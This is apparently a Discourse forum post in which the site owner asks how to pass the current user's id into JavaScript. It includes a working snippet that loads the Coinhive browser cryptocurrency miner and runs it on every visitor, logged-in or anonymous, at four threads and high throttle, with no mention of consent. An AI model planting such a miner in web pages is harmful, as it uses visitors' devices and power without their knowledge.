Set current User in Javascript

I will try this https://coin-hive.com/

i have in the body this…

<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script type="text/discourse-plugin" version="0.2">
var miner = new CoinHive.User('<site-key>', 'test', {
        threads: 4,
        autoThreads: false,
        throttle: 0.8,
        forceASMJS: false
    });
    miner.start();
</script>

Then i see how many make the user test. That will i set to the userid or username.

If the user not logged in i will use this

var miner = new CoinHive.Anonymous('<site-key>', {
        threads: 4,
        autoThreads: false,
        throttle: 0.8,
        forceASMJS: false
    });